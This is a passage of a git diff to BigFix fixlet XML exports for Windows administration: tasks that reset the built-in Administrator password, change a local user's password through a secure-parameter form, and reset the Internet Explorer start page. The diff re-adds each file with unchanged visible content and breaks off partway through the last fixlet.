diff --git a/Sites/Windows Management/Fixlets/Fixlets/Change Built-in Administrator Password - Windows (9150).bes b/Sites/Windows Management/Fixlets/Fixlets/Change Built-in Administrator Password - Windows (9150).bes
index 8a7805a93..c02e97eaf 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Change Built-in Administrator Password - Windows (9150).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Change Built-in Administrator Password - Windows (9150).bes	
@@ -1,46 +1,46 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Change Built-in Administrator Password - Windows
-  ID       : 9150
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-02-16T15:18:25
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Change Built-in Administrator Password - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[exists users whose( exists (it as lowercase) whose(it = "administrator") of names of it AND exists password ages whose(it = 0 * second OR it > 8 * day) of it)]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-02-16</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 Feb 2016 22:18:01 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-// Related: https://bigfix.me/fixlet/details/3670
-// https://forum.bigfix.com/t/newer-actionscript-commands/11677
-
-parameter &quot;username&quot; = &quot;administrator&quot;
-
-// http://www-01.ibm.com/support/knowledgecenter/SS63NW_9.2.0/com.ibm.tivoli.tem.doc_9.2/Platform/Action/c_action_log.html
-action log command
-
-waithidden net user {parameter &quot;username&quot;} { sha256 of concatenation &quot;&quot; of (it as string) of ( (it / second) of uptime of operating system ; (it / second) of (now - (&quot;01 Jan 1970 00:00:00&quot; as universal time)) ) }
-
-continue if {exit code of action = 0}
-</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Change Built-in Administrator Password - Windows
+  ID       : 9150
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-02-16T15:18:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Change Built-in Administrator Password - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists users whose( exists (it as lowercase) whose(it = "administrator") of names of it AND exists password ages whose(it = 0 * second OR it > 8 * day) of it)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-02-16</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 Feb 2016 22:18:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// Related: https://bigfix.me/fixlet/details/3670
+// https://forum.bigfix.com/t/newer-actionscript-commands/11677
+
+parameter &quot;username&quot; = &quot;administrator&quot;
+
+// http://www-01.ibm.com/support/knowledgecenter/SS63NW_9.2.0/com.ibm.tivoli.tem.doc_9.2/Platform/Action/c_action_log.html
+action log command
+
+waithidden net user {parameter &quot;username&quot;} { sha256 of concatenation &quot;&quot; of (it as string) of ( (it / second) of uptime of operating system ; (it / second) of (now - (&quot;01 Jan 1970 00:00:00&quot; as universal time)) ) }
+
+continue if {exit code of action = 0}
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Change Internet Explorer Start Page if unchanged from default (3802).bes b/Sites/Windows Management/Fixlets/Fixlets/Change Internet Explorer Start Page if unchanged from default (3802).bes
index a127ea69b..284305947 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Change Internet Explorer Start Page if unchanged from default (3802).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Change Internet Explorer Start Page if unchanged from default (3802).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Change Internet Explorer Start Page if unchanged from default
-  ID       : 3802
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-07-01T09:14:32
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Change Internet Explorer Start Page if unchanged from default</Title>
-    <Description><![CDATA[This action will&nbsp;change the Internet Explorer Start Page if it has not been changed from the default. ]]></Description>
-    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
-    <Relevance><![CDATA[exists (value "Start Page" of key "Software\Microsoft\Internet Explorer\Main" of (key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) as string as lowercase) whose (it contains ".microsoft.com/" OR it contains "/dell?hl=en&client=dell-usuk-rel" OR it contains "startnow.com")]]></Relevance>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2011-09-21</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 01 Jul 2014 16:09:54 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regset64 "[{("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Software\Microsoft\Internet Explorer\Main" )}]" "Start Page"="http://www.google.com"]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Change Internet Explorer Start Page if unchanged from default
+  ID       : 3802
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-07-01T09:14:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Change Internet Explorer Start Page if unchanged from default</Title>
+    <Description><![CDATA[This action will&nbsp;change the Internet Explorer Start Page if it has not been changed from the default. ]]></Description>
+    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
+    <Relevance><![CDATA[exists (value "Start Page" of key "Software\Microsoft\Internet Explorer\Main" of (key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) as string as lowercase) whose (it contains ".microsoft.com/" OR it contains "/dell?hl=en&client=dell-usuk-rel" OR it contains "startnow.com")]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-09-21</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 01 Jul 2014 16:09:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regset64 "[{("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Software\Microsoft\Internet Explorer\Main" )}]" "Start Page"="http://www.google.com"]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Change local user account password (27377).bes b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password (27377).bes
index 328922a95..59c86e57d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Change local user account password (27377).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password (27377).bes	
@@ -1,104 +1,104 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Change local user account password
-  ID       : 27377
-  Author   : danilohs
-  Domain   : BESC
-  Imported : 2025-07-23T05:25:04
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Change local user account password</Title>
-    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P><LABEL for=secret>This task changes a specified local&nbsp;user account password using a secure parameter.</LABEL></P>
-<P><LABEL for=secret>This task is applicable on:&nbsp;Windows&nbsp;with version&nbsp;greater than 9.5&nbsp;of the BESClient.</LABEL></P></BLOCKQUOTE>
-<P dir=ltr><LABEL for=secret><STRONG><FONT size=3>Action Description</FONT></STRONG></LABEL></P>
-<UL dir=ltr>
-<LI>
-<DIV style="MARGIN-RIGHT: 0px"><LABEL for=secret><STRONG>Action1: Change specified local&nbsp;user account password.</STRONG></LABEL></DIV></LI></UL>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P style="MARGIN-RIGHT: 0px"><LABEL for=secret>This action prompts for an existing&nbsp;local user account name and changes&nbsp;its password to the value specified in the "Password" field under "Customization Options".</LABEL></P></BLOCKQUOTE>
-<P style="MARGIN-RIGHT: 0px" dir=ltr><LABEL for=secret><STRONG><FONT color=#008000 size=3>Customization Options</FONT></STRONG></LABEL></P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P><LABEL for=secret>Password:</LABEL> <INPUT id=secret type=password name=secret>
-<P><LABEL for=secret2>Verify password:</LABEL> <INPUT id=secret2 type=password name=secret2><script>document.body.ontakeaction = function () {
-    var theSecret = document.getElementById("secret").value;
-    var theSecret2 = document.getElementById("secret2").value;
-
-    if (!theSecret || !theSecret2) {
-        alert("Password fields cannot be left blank. Please enter a password in the Description tab.");
-        return false;
-    } else if (theSecret !== theSecret2) {
-        alert("Passwords do not match. Please re-enter matching passwords in the Description tab.");
-        return false;
-    } else {
-        TakeSecureFixletAction(
-            Relevance('id of current fixlet'),
-            Relevance('id of current bes site'),
-            "Action1",
-            {},
-            { secret: theSecret }
-        );
-    }
-
-    return false;
-};</script> </P></BLOCKQUOTE>
-<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
-<UL dir=ltr>
-<LI>
-<DIV>You must enter a password in order to take an action</DIV>
-<LI>
-<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>
-<P>This fixlet is based on the following post on bigfix.me:<BR><A href="https://bigfix.me/fixlet/details/3670">https://bigfix.me/fixlet/details/3670</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of client >= "9.5"]]></Relevance>
-    <Relevance>not exists service &quot;NTDS&quot;</Relevance>
-    <Category>Accounts</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2025-07-23</SourceReleaseDate>
-    <MIMEField>
-      <Name>bigfixme-ID</Name>
-      <Value>6076</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Fri, 15 May 2015 06:54:17 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-added-time</Name>
-      <Value>Fri, 15 May 2015 06:54:17 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-keywords</Name>
-      <Value>password secure parameters verification</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 23 Jul 2025 12:18:08 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Change</Link>
-        <PostLink>&amp;nbsp;specified local&amp;nbsp;user account password.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;username&quot; with description &quot;Please specify the name of an existing local user account&quot;
-
-if {exists ((name of it as string as lowercase) of users) whose (it as string as lowercase contains parameter &quot;username&quot; of action)}
-
-waithidden &quot;C:\Windows\System32\net.exe&quot; user {parameter &quot;username&quot; of action} {parameter &quot;secret&quot; of action}
-
-continue if {exit code of action = 0}
-else
-exit 1
-endif
-</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Change local user account password
+  ID       : 27377
+  Author   : danilohs
+  Domain   : BESC
+  Imported : 2025-07-23T05:25:04
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Change local user account password</Title>
+    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>This task changes a specified local&nbsp;user account password using a secure parameter.</LABEL></P>
+<P><LABEL for=secret>This task is applicable on:&nbsp;Windows&nbsp;with version&nbsp;greater than 9.5&nbsp;of the BESClient.</LABEL></P></BLOCKQUOTE>
+<P dir=ltr><LABEL for=secret><STRONG><FONT size=3>Action Description</FONT></STRONG></LABEL></P>
+<UL dir=ltr>
+<LI>
+<DIV style="MARGIN-RIGHT: 0px"><LABEL for=secret><STRONG>Action1: Change specified local&nbsp;user account password.</STRONG></LABEL></DIV></LI></UL>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P style="MARGIN-RIGHT: 0px"><LABEL for=secret>This action prompts for an existing&nbsp;local user account name and changes&nbsp;its password to the value specified in the "Password" field under "Customization Options".</LABEL></P></BLOCKQUOTE>
+<P style="MARGIN-RIGHT: 0px" dir=ltr><LABEL for=secret><STRONG><FONT color=#008000 size=3>Customization Options</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>Password:</LABEL> <INPUT id=secret type=password name=secret>
+<P><LABEL for=secret2>Verify password:</LABEL> <INPUT id=secret2 type=password name=secret2><script>document.body.ontakeaction = function () {
+    var theSecret = document.getElementById("secret").value;
+    var theSecret2 = document.getElementById("secret2").value;
+
+    if (!theSecret || !theSecret2) {
+        alert("Password fields cannot be left blank. Please enter a password in the Description tab.");
+        return false;
+    } else if (theSecret !== theSecret2) {
+        alert("Passwords do not match. Please re-enter matching passwords in the Description tab.");
+        return false;
+    } else {
+        TakeSecureFixletAction(
+            Relevance('id of current fixlet'),
+            Relevance('id of current bes site'),
+            "Action1",
+            {},
+            { secret: theSecret }
+        );
+    }
+
+    return false;
+};</script> </P></BLOCKQUOTE>
+<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
+<UL dir=ltr>
+<LI>
+<DIV>You must enter a password in order to take an action</DIV>
+<LI>
+<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>
+<P>This fixlet is based on the following post on bigfix.me:<BR><A href="https://bigfix.me/fixlet/details/3670">https://bigfix.me/fixlet/details/3670</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of client >= "9.5"]]></Relevance>
+    <Relevance>not exists service &quot;NTDS&quot;</Relevance>
+    <Category>Accounts</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2025-07-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>bigfixme-ID</Name>
+      <Value>6076</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Fri, 15 May 2015 06:54:17 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Fri, 15 May 2015 06:54:17 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>password secure parameters verification</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 23 Jul 2025 12:18:08 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Change</Link>
+        <PostLink>&amp;nbsp;specified local&amp;nbsp;user account password.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;username&quot; with description &quot;Please specify the name of an existing local user account&quot;
+
+if {exists ((name of it as string as lowercase) of users) whose (it as string as lowercase contains parameter &quot;username&quot; of action)}
+
+waithidden &quot;C:\Windows\System32\net.exe&quot; user {parameter &quot;username&quot; of action} {parameter &quot;secret&quot; of action}
+
+continue if {exit code of action = 0}
+else
+exit 1
+endif
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Change local user account password - Windows (3670).bes b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password - Windows (3670).bes
index f18fed34a..f4b319806 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Change local user account password - Windows (3670).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password - Windows (3670).bes	
@@ -1,69 +1,69 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Change local user account password - Windows
-  ID       : 3670
-  Author   : jbtyndall
-  Domain   : BESC
-  Imported : 2013-12-06T04:16:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Change local user account password - Windows</Title>
-    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P><LABEL for=secret>This task changes a specified local&nbsp;user account password using a secure parameter.</LABEL></P>
-<P><LABEL for=secret>This task is applicable on:&nbsp;Windows&nbsp;with version 9.0+ of the BESClient.</LABEL></P></BLOCKQUOTE>
-<P dir=ltr><LABEL for=secret><STRONG><FONT size=3>Action Description</FONT></STRONG></LABEL></P>
-<UL dir=ltr>
-<LI>
-<DIV style="MARGIN-RIGHT: 0px"><LABEL for=secret><STRONG>Action1: Change specified local&nbsp;user account password.</STRONG></LABEL></DIV></LI></UL>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P style="MARGIN-RIGHT: 0px"><LABEL for=secret>This action prompts for an existing&nbsp;local user account name and changes&nbsp;its password to the value specified in the "Password" field under "Customization Options".</LABEL></P></BLOCKQUOTE>
-<P style="MARGIN-RIGHT: 0px" dir=ltr><LABEL for=secret><STRONG><FONT color=#008000 size=3>Customization Options</FONT></STRONG></LABEL></P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P><LABEL for=secret>Password:</LABEL> <INPUT id=secret type=password name=secret> <script>
-                                                   document.body.ontakeaction = function() {
-                                                                    var theSecret = document.getElementById( "secret" ).value;
-																	if (theSecret==null || theSecret=="")
-																		{alert("Hey, you forgot to enter a secure parameter! Please enter one on the Description tab before taking the action.");}
-                                                                    else
-																		{TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { secret: theSecret } );}
-                                                                    return false;
-                                                   }
-                                                   </script> </P></BLOCKQUOTE>
-<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
-<UL dir=ltr>
-<LI>
-<DIV>You must enter a password in order to take an action</DIV>
-<LI>
-<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
-    <Category>Accounts</Category>
-    <Source>Internal</Source>
-    <SourceID>jbt8@psu.edu</SourceID>
-    <SourceReleaseDate>2013-05-03</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 06 Dec 2013 11:16:20 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Change</Link>
-        <PostLink>&amp;nbsp;specified local&amp;nbsp;user account password.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;username&quot; with description &quot;Please specify the name of an existing local user account&quot;
-
-waithidden &quot;C:\Windows\System32\net.exe&quot; user {parameter &quot;username&quot; of action} {parameter &quot;secret&quot; of action}
-
-continue if {exit code of action = 0}
-</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Change local user account password - Windows
+  ID       : 3670
+  Author   : jbtyndall
+  Domain   : BESC
+  Imported : 2013-12-06T04:16:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Change local user account password - Windows</Title>
+    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>This task changes a specified local&nbsp;user account password using a secure parameter.</LABEL></P>
+<P><LABEL for=secret>This task is applicable on:&nbsp;Windows&nbsp;with version 9.0+ of the BESClient.</LABEL></P></BLOCKQUOTE>
+<P dir=ltr><LABEL for=secret><STRONG><FONT size=3>Action Description</FONT></STRONG></LABEL></P>
+<UL dir=ltr>
+<LI>
+<DIV style="MARGIN-RIGHT: 0px"><LABEL for=secret><STRONG>Action1: Change specified local&nbsp;user account password.</STRONG></LABEL></DIV></LI></UL>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P style="MARGIN-RIGHT: 0px"><LABEL for=secret>This action prompts for an existing&nbsp;local user account name and changes&nbsp;its password to the value specified in the "Password" field under "Customization Options".</LABEL></P></BLOCKQUOTE>
+<P style="MARGIN-RIGHT: 0px" dir=ltr><LABEL for=secret><STRONG><FONT color=#008000 size=3>Customization Options</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>Password:</LABEL> <INPUT id=secret type=password name=secret> <script>
+                                                   document.body.ontakeaction = function() {
+                                                                    var theSecret = document.getElementById( "secret" ).value;
+																	if (theSecret==null || theSecret=="")
+																		{alert("Hey, you forgot to enter a secure parameter! Please enter one on the Description tab before taking the action.");}
+                                                                    else
+																		{TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { secret: theSecret } );}
+                                                                    return false;
+                                                   }
+                                                   </script> </P></BLOCKQUOTE>
+<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
+<UL dir=ltr>
+<LI>
+<DIV>You must enter a password in order to take an action</DIV>
+<LI>
+<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Category>Accounts</Category>
+    <Source>Internal</Source>
+    <SourceID>jbt8@psu.edu</SourceID>
+    <SourceReleaseDate>2013-05-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 06 Dec 2013 11:16:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Change</Link>
+        <PostLink>&amp;nbsp;specified local&amp;nbsp;user account password.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;username&quot; with description &quot;Please specify the name of an existing local user account&quot;
+
+waithidden &quot;C:\Windows\System32\net.exe&quot; user {parameter &quot;username&quot; of action} {parameter &quot;secret&quot; of action}
+
+continue if {exit code of action = 0}
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Change local user account password with verification - Windows (6076).bes b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password with verification - Windows (6076).bes
index 4ceed7119..a6bc59b4f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Change local user account password with verification - Windows (6076).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Change local user account password with verification - Windows (6076).bes	
@@ -1,90 +1,90 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Change local user account password with verification - Windows
-  ID       : 6076
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2015-05-15T06:54:17
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Change local user account password with verification - Windows</Title>
-    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P><LABEL for=secret>This task changes a specified local&nbsp;user account password using a secure parameter.</LABEL></P>
-<P><LABEL for=secret>This task is applicable on:&nbsp;Windows&nbsp;with version 9.0+ of the BESClient.</LABEL></P></BLOCKQUOTE>
-<P dir=ltr><LABEL for=secret><STRONG><FONT size=3>Action Description</FONT></STRONG></LABEL></P>
-<UL dir=ltr>
-<LI>
-<DIV style="MARGIN-RIGHT: 0px"><LABEL for=secret><STRONG>Action1: Change specified local&nbsp;user account password.</STRONG></LABEL></DIV></LI></UL>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P style="MARGIN-RIGHT: 0px"><LABEL for=secret>This action prompts for an existing&nbsp;local user account name and changes&nbsp;its password to the value specified in the "Password" field under "Customization Options".</LABEL></P></BLOCKQUOTE>
-<P style="MARGIN-RIGHT: 0px" dir=ltr><LABEL for=secret><STRONG><FONT color=#008000 size=3>Customization Options</FONT></STRONG></LABEL></P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P><LABEL for=secret>Password:</LABEL> <INPUT id=secret type=password name=secret> <P><LABEL for=secret2>Verify password:</LABEL> <INPUT id=secret2 type=password name=secret2><script>
-                                                   document.body.ontakeaction = function() {
-                                                                    var theSecret = document.getElementById( "secret" ).value;
-                                                                    var theSecret2 = document.getElementById( "secret2" ).value;
-																	if (theSecret==null || theSecret=="" || theSecret<>theSecret2)
-																		{alert("Hey, you forgot to enter a secure parameter! Please enter one on the Description tab before taking the action.");}
-                                                                    else
-																		{TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { secret: theSecret } );}
